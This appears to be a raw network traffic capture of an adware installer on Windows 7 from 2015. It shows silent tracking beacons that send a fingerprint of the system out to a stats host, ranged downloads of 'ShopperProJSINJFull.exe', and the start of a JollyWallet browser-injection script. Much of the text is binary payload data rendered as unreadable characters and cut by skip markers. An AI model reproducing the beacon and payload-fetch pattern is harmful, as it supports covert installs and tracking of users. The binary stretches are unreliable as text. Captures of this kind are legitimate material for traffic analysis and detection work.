PL...NQ.b.5..kM.QYD........h.;..{.......- .{.tG.K.........|ag12.$.....
.,8..A....W...".$:.[.pJ..s.h..x.4M...-6.4M...-6...R.}.J...PL...N}V.#R.
.m...w......PL...N.i...o)...PL...NJR!Yw..v..PL...N..PL...N..PL...N..PL
...N..PL...N.....3$...PL...N..PL...N..PL...N..d...8"....._r...j...Z...
PL...N.....Tq...&..8.{..E...Qe.t7W...S..PL...N..<....Ncx....z..n..t
!..J...Z.9...PL...N...4.u..5.;.6z..=.. .e..Q* ..`M...PL...N...4.u...iw
U.>..H....f3...PL...N..PL...Nj.G.....bd6..q\..B.=S-....#VY;....PL..
.N..<....N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.
.PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...
N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL.
..N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..P
L...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.H..h.......:....
.....4.C.A..rM8L.Q..D../......_,..b.9.......OnKA.zj\,.....b.8mW...'...
.u.~?..5../...i........x.....7.._...dL.W....^...t..../.....Y.....<.
.....$E..........L.p.z.s.R.....:...([email protected]..|. ..0.1.n..F...]..
?..c.<"...f.............2r.....o..h`..t#..*..0D*..1..xLL.....5.q...
&..Fj..L...3..!Ltc.n..\"*4....y....h7 ....y /.......&...F.V VU.....`..
}.....2..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..
F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F.

<<< skipped >>>

GET /installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_26&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&mdat=&procstarttime=1424743349&procruntime=3&rnd=1424743352 HTTP/1.1

Host: stats.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: lJFRzD8waRGSzMuV6HrDSDioYdl4W4pIss3yMlG lofCRvNcZ3viguJrqJBCozuDkEaDpH8xlGI=

x-amz-request-id: 4600419A0993F9CF

Date: Tue, 24 Feb 2015 02:02:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: lJFRzD
8waRGSzMuV6HrDSDioYdl4W4pIss3yMlG lofCRvNcZ3viguJrqJBCozuDkEaDpH8xlGI=
..x-amz-request-id: 4600419A0993F9CF..Date: Tue, 24 Feb 2015 02:02:14 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 25 Feb 2014 00:15:56 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_26&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&procstarttime=1424743349&procruntime=12&rnd=1424743361 HTTP/1.1

Host: stats.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: N5wr8mtWIYOwbmoCKXD 3QH1CyBucIerhh3AdMKEQpajzReLhW6N9B6FQ7Xo ehcd4QkcGR1ZVM=

x-amz-request-id: CF8A353550784708

Date: Tue, 24 Feb 2015 02:02:22 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1424743349&lifetime=0&silent=1&crtnm=CR7Team&procstarttime=1424743349&procruntime=12&rnd=1424743361 HTTP/1.1

Host: stats.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: IaignLFcOkWqqrOxUBu856C3BUd7YBn9piGFIVyFVSZlRAXGPd4gFnluRzycSL8v7XKmw9xFK6M=

x-amz-request-id: 15D29068F4DD4B90

Date: Tue, 24 Feb 2015 02:02:22 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:47 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: IaignL
FcOkWqqrOxUBu856C3BUd7YBn9piGFIVyFVSZlRAXGPd4gFnluRzycSL8v7XKmw9xFK6M=
..x-amz-request-id: 15D29068F4DD4B90..Date: Tue, 24 Feb 2015 02:02:22 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 25 Feb 2014 00:15:47 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:08 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4681922
.z..-....U..3.'K..#.4.h.....8..V.&.T..Z..6.....tA)..D.......T..r...NK.
....4.K ..G<..H...s..rb&...=..:..7.s.b..... .`...{....@].Hh....emF.
..xc.m.&.o..D....^i.|f,.N. K.....K.h%.<1e....(.C.p...W.l ....Mj.M.p
.........^!.!..(.4................C..q...;....=....y.. r..j,.. J=.....
WK..a').K.z..u...t....}..b.=.Zz.o.f.Y.n...d..._.%.............. ....U.
T....T.^....Q..3{@....d...D...c..F.F...5..P.....\.....nL.x...G...B,..}
l_...|f>..K.}.......~.......F.M67.......V..A`{Xg..<.&....cg...n)
....Y;..p....;...W..B......W..uU...A.....k.][S_.9BGBb... ....7Q/c....p
....d...x.I|..N..Zo.mOM.......o..j..............q..'.s.......X/~...`..
fM....3.NvGo.%.!.(...N."....=..9..Uc.^.....:...at....V;.X9.>....I~.
v8.8..t.,..=b:...=\..<#..&...\c..@./{,>l..M&..`...l...{..w[4....
.6n...F4J...]..C..35..g.....h.........1m.3..c.q/./..L;k3.I.f...m.U...c
.(...P.v6..6.#.......H....$......GC#/\......T.'.......e..I.19B......\.
.&.P=?...B)<... c.."..@28....>..e.h0N....E.e.....C...s..yK^.$V}$
.e>......e.#..;1.H..d..m..T.P...(.....k.9..X$.N!I..)[[email protected].
m..=.?.%..t....\.....z......HI.Z...x.1/bo.m....J[..D(...e.........EH..
.2.#..V...P......AI}....;po  !S..X.p..2..#P...e....F.....Q. )x...M....
....v..-....b...t.;a?.. ..v.....hm.X.X8F.....H..._0..w.....d.&-rb....'
....#.Qht...IWv*_...,T.,....x./...).....!.W.QK.5.e...k....v.....s>.
.H..>].H*.^..@..<{l..5...Q@..!.f...G ....Big7K.....,`|....<d.
......8j.DOTS, .7W.{.._..!..p~-..o..[..n... \..2.O..P..z.>....i..,%
..PA.e.....=...Xc.j....o. .H.A.H)...F~.1N....3.vH8...`7I.J6S...G..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:08 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/4681922
dME...g....p...`6....;...~"<=Q...5f}6.].FPR.N.a....... .k.....}Aq./
.....6........{....."x..L.H.....X....%v....<...e.QP.f`...5..i...d.q
...G......V.kF.Cz.l... .*3.......r9..e..d.j.h......?.....5...Ukg...Lq.
.....F,.$..)<Z.\D.....[1v..........6s........,7..g....=..*..k.i...K
d.c\8>....E..3...<..*.<.VQ....,.P....{w[....8Q.........H....(
x-.->...I.h..B.$............32*M...\......zP..kq.)...nV.l........n.
.8.x..S..O.tM......{.... .OT(... ..|d|G...e5..^-Z.....^.'.`.].|..E...{
..4.........&....xU./E.........Ppm..h.....'.....y..n~pMX...C&a".A.../$
.F<e:1...[^.`5X.G................Kl3l)......>!......$-....Z.....
....@a..`.En.#....oD&i6...Z#.z}..F<F..]...6V.....\dr......)O.t....k
I.....>...u..d....`CJ.....o.im.Y7vk..G...6........&#.v.<X2...o..
...;....:[...{..!..T......[md. wj.....K.2..4.}..yh$#[email protected]...
..q.N.p}...*..g.P...o..Si.8...-.V.Wwa..<..T=.h.`^..bq..M... &@.*.Kg
.Q._...AY}...1......%R..Sp.._v'.P.2V.~y.@.?..,.fI...6.n..,....eW...v%2
.1.B."...'...I.4...$~\...*@..Kb.!W1..)./.PXO...l.P,.{[...a.z.h.e...5Ya
$...L\..q..8{W.........e...<B...>9...J........SI.,..]..f.b.V....
..n.c....#...fZ.g..S.b.K..Mx.q...da.0.6<.....T3..l.OV.......Q ../;Y
....{>.-`...LpB..d..R#U..7..*....w..6.!.k.`......b..;\..UQ..Dup...1
/>...I.b...A`...._.f`.Pe..|.U.....E8..1.......w....s..Dg/}....!...Z
.2.....A.Go....6.5b. R...e......3.-.....r...m.....O...r`.7..b.l...zX..
F.`...-.. [email protected];P.......ToW.]8...>td..I..NU.nS......u.GIfZlB 
L........Q.. h.y.T.6~w....>G.S.....(.....#.j..W .0.....2.~&].)m<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/4681922
t.^H!.-....s..v...H..z.....M..$`...I.U^....D.}.o......C#...uc.......Na
...[n....C...........G....P...d>.).T~E...Ru..P...j..bz.V..r..A ...y
D.1.....bm.Y .8...;<...n..k....H....].68................,[I.h.?.R..
{5...k..F.c .~.)....heC.M.I\..{{L....u6...p......A..d..P1...(..B.:....
.A..l<...>..P0...j.0....d7....t..&...9j.....P..w...........[..P.
....7..q`.I....z...V..Z...Z.3.i.i..b...SB...97A1.[..b..##.......D.X.2.
Dv..q_>.....X........>....T.b.....k..8.}-L..303....G......"..WYl
.nI...y.....[.,..L2}~.."..'[O*,,....V.._......UD..iD....'(.G.R...5V..'
.\.\..B?C...9.)....[ ..p.Q..S<.l......>........f.D..(\_5..y.Pg(.
.s.......W....D.v)X...Bo%/?H............B. ..=........P:.7B.y>.....
..g..L...xs.Y.].....{...M....x(..q.Y.,?.<-...ZD........}..........C
o.%.r....:E.XT..!......3.Gx.dm.v.T..;.5.x.....XUd22$..;....s.q/....D..
.. ..O..o..J....4.i.w...i..097...yt~...w...tcuP..)`..B.t...{.T}.-..u..
...GI....-...p.j.M..M.*>!...3....w0,.<..q.....J.r../.I.F....2:..
...z..C.........V.`Q......f:0u...=X.Vj.;.\;..E................zF...H..
..._.0:)....J..P3....LJl.!......\...[}|">..~%1.....Jy} .... 5..{#].
^....f.....8.......... ....-(....d..<.x..SS.x}....Vu....cv...w|.o..
.K^=.;@..M..CAP6.v...d......u.0..x..#A.P.,..a..&9........b.Toa2JV..j)%
...2.'~>..|..y...R...?.......!7g.t.'..=o....om.).,..:.5.....H....P 
J.9....l_...2.....9A..!...-.W./..m94W....j.}..ew.(0...3...-n<.....\
.w.L...qC.%or....o ,...#.L.A'"5......^........XHN.:[email protected].'.....Rc
y.mHG..e..E... ..#...Lj..(.>......b.o...M...Ie.i....q.Kqw.zo_1.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1750000-1999999/4681922
.......j,.v..7."...5te.Z.........."D..z>...~..,>84....c...ss...^
6.%.{..7.........M..Yz....j.n...V... ........R.2K..E...Q.c...x#.....[.
>7....p._...l...T....)B..jGj.H6z...^.......K,/...E...L1.aw.C..j<
!{...%..9e.......$.........0..L*....>8.c.b1....\.k...|.\I.)llT5..Y.
~..jx.[...hq.&.x8..,dj...;f....7.V;P....=.......}.A..F.....em.!..... .
.Ri....M....|.*Q...k....ddf].dTg..9B.]...>...5..X.4.>.u...x4....
.)(....U,.. ...f..gdPU{........:K.{..5d..K..(......F...a.l.PW)...4*{..
..8.....W-G.8.p.R!....o.h.....~M&{..v...L...hlbB.....".px j.{..'.%.._.
./[email protected].?.W....48g....4..h..f4...K.1......t9rY.N?tMrr..Y.%..
..:Y..b....k..s.V....X.g=..1..0...}.........x.E.......F....G9}.o2...IX
..t.....M.".`(H....q...z4.....Q.'Y.(Ybr.B3U...b.tB>...Y..........\ 
.07v.....y...;.". ...Z...^..D.....'...o...~.../. .v.$U..~.?.f ........
.{p..u.....)..E_.G.6....*#[email protected]`....0Y...D..^..
\..fMf....?..5.9Z....."....s..m.....J..qR\...rx...8..oF...............
M3..g...4p9.......V.a.H.....F1$..*..,tE......P.Qv|..s....).~..w...c...
y/v..u...y~f.#...[....m.#j<.!kx...ig...e.....)Bd..2.o..^N...'.....D
0....5=I...X.*...O..n.H..E!Q}.c$3..<....W...s...%....!`i......j.._c
.*L.'..K#.sq...Y...%..0lbL.TE......i F.G.7.Gm[..D.D_..P.....p.27....|.
.Q3.../......=X..{...3.F....... .....r.$...6bE.f.oy2Iq.VT.)....Y..j.h.
!a....5a....z.G..)....Xa.Y..;8...q.._."...".........q...N...d.5>..U
..t.=p.n..^.\j..%.g....P.f...2i.Y[.#..nX.a& .. zw^.z...m.M.....Km....h
.1Y.....sj"s..P.tI..2...a.(....9..F5...."..,..........J1|.O.-.%...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/4681922
mp.x..k9..O@`....F.\.........~qaU.j|.Q....m...J.M.....G.v.............
..Y..y2.^......C..\\e...YD=...^..M..e..[hV...yX6.9.....\....c...<.M
......C...3..!.\0E%Wq...O>f .H.1.b..._...u.....}.d.q.XJ..4=zI.S*.3v
....#......F}...r...~.;....@.."......$.......We.c.1n6.SM.J.Ws....O.A..
...G......vV..~.kl...y#. ....O.^..).. ..{b.......X....vg&P..&o.}Ui.-..
.&...;fa...._.l.$....I\f..\[email protected].;..l...9
tN.?.".'. 1.Y....[7K.)..w...[k .?..M.J....K,......xd.. ...bX.6....~..E
uky.0..p.U&..V..U{[email protected][email protected]
B1t. .E...Q..m.[.*1....`.....xlx.....Y.q....!.c?..u-...z....^...ce...P
...4.r.C:K......#.s.RAU..,..G...U.)[email protected].......$..yU.p...-IP.np
...1(k......,.I...4V.@(..O3!m......J.4.....?_..9.6..\;...w^w;...a0/. .
...BhRA.?s...T..../..."....r{..e(7..O.l.5b^.i...lSQ.%.....x.:.........
{g.Q.4eXi.)PJO6.y...{.l.W...[...t...../.....8n.L...iJ`...~.....\...../
..^AA#...ex^..=%.OA..W.H..J.1}.]......c...:m..K\.<.t0..SqI...K...2.
..R..9|. ..............|.....r...OA.iH.g..c.M....p....Q.9%.. .t:!.....
..z........z {..........f<.....$.~.$..V.n.......9O..*....Gr.4...UN.
._.f......"...]i.t..*y...Y.O...Q_U.~...]...h.....2)E./......B.....M. .
..I"b:....'..... ".z..-..XY..$....x.D'....JJ.../O...<WQ.lPFD..v....
.[[email protected]...............`.\.|CR7..fb..{O... /..^.`c..9/...;a..5G....7.L.[
..=]Qq..`e..@..)^.C.l...]l.0.I..c..o..Ez<.;N>...|M.sO.'..i...*.u
.......1.A.JD...(>......or.m:."Y.b.F......*....l.O..U*B.>i>e.
..W.V....B}.F...D....h.d..~...9$.y.m~s....[.m.p7..jQ.E...s..`*..).<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3500000-3749999/4681922
.jLc@@..X.Wf..h.g....D..!h^..7.^'.8.N...1.'....<D...u..d&K.;c..Z..a
_..n/.7\...Q...DW.H=]X_s..@@........]..J@@8..m..V..p,,.0.....Vv.c...o.
...F(._/./.}.8..c......nc|-F.u.n.C....y.HI..?..|f..=..X!)....G.k.x.'..
......I...D...hZ....O.JE.'..y!.x...W..jj...{[email protected]..>2{.......3L
...{..*J.t~.n.>..........RY....q.........4&.`Y....W..O........j5..6
...0.'....F^......ht.5.C....W"Y.c.........?..z..\)...x.M[. .o.,..M.?b.
..c|[..H}P.A...&........k......J...)....$.J.cdh.ZZ....B..B...G....O.].
.s.d.%......p.L.......l.n.../.E........{.......0.aU.tN.....-n.Q...j]*.
...<].I..{...A......C2.P.ud.....t..}..":...1.S.S...OG.*'..R...O..&g
t;a>...W...*...Z.B..zX.`.....$0.........."..c.H.|..5U.cT!C....,.<
;.r.#....4Hr.w.}A ..c..bq...v.... .Fd.bMZ.....5oL...R;*[email protected]..
.<..N..v...7.i(WgF.Q...k.....dte.....#^....z)#J|...l.]..zZ.Y.....SS
.....#.j..K..H.. ...XV].....N.. [email protected]^.9r...=t..l(.$A.f..
.g`...n.....!..~....M.w1.E\.......n...O.IY.%..Q.B.P...._...xB.N..Gx...
.......C.;...HC.m..R.B..2..8.n...1...k..=wH..........f..lK.q6...{Nv).2
[email protected]=.\.t..C......^<?.z...../ ...I.! ."...~.'.Y..'.
.9h.$m;)...%.&0..[lO....z.7.2....P......RBK.. .3u.....(.......,2O.J..0
.......l.F..<}yV.'#...........ep.t...i.Y!I2.8.....TU..\.U.W........
)..\.....Y.5)!..(1G.T..`..NE/..v..\...su(}.....L.|....]=.I.....2...F..
P.vP...Jf..f.uZ%@,j!.y....s.?U9.D..aW.Wv~z,.w7.....%.d.......XF.T{..r^
>.Ey..V.....e,.E..;.4.N.<.v...C...\...VP.....)..P..A.X...O.....v
.N=...a.c.-|.S.<....Yl0....k.......\..N4....P........S..q..|=%G<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4000000-4249999/4681922
.a...>..,.m.%0..U  V.v.m\.R.Y..Y=y. .L.......#.....\ch.......Y....H
s!Y4...?....[..<..........r..-..h.....qfP."].q.X.v..G SU..1......0.
.v.../.....UP..d....yU.z...l.pa6......;M.)T..%..U;.`....J.%.*.J..3I...
.a.[..._...n........F.0...n.#:.3N.....5...q.qx.s.N1^!T..].Y*z.:4ZC{...
.M...C.....{..^..'7o..`...0.F...q...N...!.J......&..g.=.ve.....}....!.
.........-.Y.. ...^..\.r..Q.R.{..lI:.j?.Q.0..... 4..U......U..........
..p=.U.D..T.(...W..........R.>....Ft....\....k.........IJ. ....^.QP
.aE....A.O..e<.....e......Gt...../............w....c..~....``.[....
.6N,f.~.w...#....=.D..h. ../.V..D..x.j8Z?.-..o.b..L.E.;j....).O...WDy.
..w;.........}..G....D..,...V......EL=..8.z.,.....U.H.Tp.....f..-B}...
.s,...N......,. 6...&.I.f......;.!|..).......3..o.N.J.hA..x...,..,c...
.../&sl.Y.b\.h.y...]V:..H.O..u.r.~Fm.m.....&.GPbQ*...`E...\......0....
xT?..9D.j.....L.]S..y....*.?1n.3<..V.,?...e.H|^.!......E.j...9.9.n7
..=*/[email protected]. .[^...-...y.......W...x..~..0....2.....B...........
B.x.S.h..........V....,....t...<~.....6g.-G..W...6*..l."..g&..=.#{A
..}l L{.K_....*.7o....}..I...........(.Wv.a~.V.o/....(...W..........G.
.. ..X.........X,...............X......0&.T..N..8...}x.......5cL8.....
....R...l.....)..O}]A..}|..}1...l$..Y{Q..O~.-.r-......H...0l.w..4.....
...].....).I.M.(.".m..<...T.1R.v./.Cp.x....)...8..]X..:..C..mt..x..
..0.&......... ......z...zx1.......fg.o...".X`.%[email protected]
...;:...5....n.8.v..VW.>#d..VT...*...........a?.tsJ..p.....54H..3a.
..5..U=)I;..`D:....7.~..]hWP...C..h%.2..vh4....q..|K.)....\..?....<<< skipped >>>

GET /jollywallet/resources/js/2/affiliate_client.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d2cnb4m0nke2lh.cloudfront.net

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 385225

Connection: keep-alive

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Date: Mon, 23 Feb 2015 13:47:00 GMT

ETag: "54eade46-5e0c9"

Expires: Wed, 25 Mar 2015 13:47:00 GMT

Last-Modified: Mon, 23 Feb 2015 08:01:10 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

Age: 44161

X-Cache: Hit from cloudfront

Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)

X-Amz-Cf-Id: F-6sivsUTi1YN0PlcTdzi0D_hChQvozaPqOuOLn6PF6Dc01IfAp9kg==

var jw_db = {};.jw_db.permanentData = {gui:[],actions:[]};.jw_db.perma
nentCache = ["2351f600bf62102c56b3941c39225683","16524241cd11b1b1c6b3a
b30874047d6","d04992ca4d0bbfe57c6e97c4800f9238","ff6e3f4612ef317625de5
eb91140233f","1d60fc858146df68b9f8d259697f499c","886b52137277a7e848070
77888faf95b","2db77d0bbaad6f48449aa2ee75b07b2f","233e5595b16e975bb4ebd
fd25620240a","a03bfb2d9a68853cad303a64fc54c0f0","91405a3e3c688a8e6f846
8949b18f94f","063c233da86fe6f0bb4c9d332f494099","9bd5796c279f448b0b2b3
2b6271d67b2","2fcf8b55874afc412cf42286c4942e81","d0dcf869247f0494e7f38
adab27e2b24","3643877a4cd0aa0891ee77c857736edc","50810685ef885b0b69db8
98cfc21cb5c","5accf3f02fa66d643352b17f8ab4b6ab","a617b2d5a453df6f36bb4
5f8ee71f04c","fcf942edca87bfe44446fe34d744c82c","9f126465c5cbe1db5daaf
20bf9c48d70","854735ed3e7a3479f095f872aa1083ed","e322d423f075b0ab2daad
27011d24909","f35a8740b65be2b1aa45f588f2809377","e0855eba3d87dbf392e3d
39c03c0083e","57366265af8a5fe6f49b9c0045c0ef7a","55058ea77d06c1bbc1bb8
5ead84ee75e","216393b792ea3b89c1666daf538b401c","8875c0ad18932cd6f99c0
14a178095bc","ecf7d41381198413ae06f5a58e85b57f","221984b82e213da7ccccf
719d11bed62","e6227cf2699b80b858c2b6b0b8040b0e","16c6e22ef379cd08414eb
2b44fc43a2e","078e572891c7a1b61e5311f60c3e173b","a37614a97fdc92d9ce573
88e6ebd5d21","1888eb6d6cf6c4750bb928230f12b8c7","965979c853ccb6b26649e
